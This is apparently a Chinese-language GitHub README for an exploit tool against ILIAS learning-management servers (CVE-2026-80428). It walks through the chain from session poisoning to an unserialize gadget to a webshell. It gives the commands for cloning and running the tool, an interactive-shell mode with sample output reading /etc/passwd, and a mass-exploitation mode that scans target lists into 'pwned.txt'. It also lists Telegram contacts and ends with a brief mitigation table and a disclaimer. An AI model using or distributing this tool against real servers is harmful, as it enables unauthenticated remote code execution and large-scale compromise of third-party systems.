CVE-2026-80428攻击向量： Shibboleth 反向通道注销端点
影响： 以 Web 服务器用户身份实现完整的远程代码执行
严重性： 🔴 严重
CVE-2026-80428 是一个严重的未认证 PHP 对象注入漏洞，影响 ILIAS 学习管理系统。通过将
ltiauth.php中的会话投毒原语与shib_logout.php中不安全的unserialize()调用进行链式组合，攻击者可以实现任意文件写入，并最终实现远程代码执行（RCE）——而这一切无需任何认证。
| 🎯 参数 | 📋 值 |
|---|---|
| CVE ID | CVE-2026-80428 |
| 类型 | PHP 对象注入 → RCE |
| 所需认证 | ❌ 无 |
| 攻击向量 | 网络（HTTP/HTTPS） |
| CVSS 评分 | 9.8（严重） |
flowchart LR
A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
B -->|Serialized Guzzle Gadget| C[PHP Session Store]
C -->|2. Trigger unserialize| D[shib_logout.php]
D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
E -->|3. file_put_contents| F[💀 Webshell Dropped]
F -->|4. Execute| G[🔓 RCE]
style A fill:#ff4444,color:#fff
style F fill:#ff0000,color:#fff
style G fill:#8b0000,color:#fff
分步说明：
ltiauth.php 在未经验证的情况下，将序列化载荷存入 PHP 会话中。shib_logout.php 处理精心构造的 Shibboleth LogoutNotification SOAP 请求，并对会话数据调用 unserialize()。GuzzleHttp\Cookie\FileCookieJar gadget 调用 file_put_contents()，在攻击者控制的路径下写入一个 PHP webshell。| 🏷️ 分支 | ❌ 受影响 | ✅ 已修复 |
|---|---|---|
| 9.x | ≤ 9.21 | ≥ 9.22 |
| 10.x | ≤ 10.9 | ≥ 10.10 |
| 11.x | ≤ 11.2 | ≥ 11.3 |
🔥 核心功能
|
💎 易用性
|
# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428
# Install dependencies
pip install requests urllib3
# (Optional) Make executable
chmod +x CVE-2026-80428.py
环境要求：
3.8+requestsurllib3python3 CVE-2026-80428.py <mode> [options]
python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal
选项：
| 标志 | 描述 | 默认值 |
|---|---|---|
--port | 目标端口 | 443 |
--path | 磁盘上的 ILIAS 文档根目录 | /var/www/ilias/public |
--host-header | 自定义 Host 头 | — |
--timeout | 请求超时时间（秒） | 30 |
python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
ilias$ exit
python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt
选项：
| 参数 | 描述 | 默认值 |
|---|---|---|
-l, --list | 必填 — 目标列表文件 | — |
-t, --threads | 并发工作线程数 | 20 |
-o, --output | 存在漏洞目标的输出文件 | ilias_vuln.txt |
--path | ILIAS 文档根目录 | /var/www/ilias/public |
--host-header | 自定义 Host 请求头 | — |
--timeout | 请求超时时间（秒） | 30 |
创建一个 targets.txt 文件：
# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080
# Mixed formats are supported
example.org
支持的格式：
hosthost:porthttp://hosthttps://host:porthost/path （路径会被剥离） [ 42/500] VULN 10.10.10.20:443 https://10.10.10.20:443/util_a1b2c3.php?x=id
[ 43/500] SAFE 10.10.10.21:443 [PATCHED]
[ 44/500] ERR 10.10.10.22:8443 [Connection timed out]
[44/500] VULN:12 SAFE:30 ERR:2 8%
面向防御者和系统管理员：
| 🛠️ 操作 | 📝 详情 |
|---|---|
| 🔼 升级 ILIAS | 9.22 / 10.10 / 11.3 或更高版本 |
| 🚫 禁用 Shibboleth | 如未使用 — 删除 shib_logout.php |
| 🧱 WAF 规则 | 拦截格式错误的 SOAP LogoutNotification 载荷 |
| 📂 限制写入权限 | Web 根目录不应被 www-data 写入 |
| 🔍 监控 | 留意上传/缓存目录中出现的异常 .php 文件 |
| 👤 平台 | 🔗 账号 |
|---|---|
| 💬 Telegram 私信 | @HackfutS3c |
| ☁️ ULP Cloud | @ulp_CLOUD1 |
| 📢 频道 1 | t.me/+gsrpvshwGUc5MzI0 |
| 📢 频道 2 | t.me/LinxProdXs404 |
╔══════════════════════════════════════════════════════════════════╗
║ ║
║ ⚠️ FOR AUTHORIZED SECURITY TESTING & EDUCATIONAL USE ONLY ⚠️ ║
║ ║
╚══════════════════════════════════════════════════════════════════╝
本工具严格仅供教育目的和经授权的渗透测试使用。
- ❌ 请勿对您不拥有或未获得书面许可测试的系统使用。
- ❌ 请勿用于非法活动、未经授权的访问或恶意目的。
- ✅ 请负责任、合乎道德地使用，并在您的授权范围内使用。
作者（
Hackfut/LinxProdXs404）不承担任何责任，也不对因本工具造成的任何滥用、损害或法律后果负责。使用本软件即表示您同意这些条款。未经授权访问计算机系统属于刑事犯罪。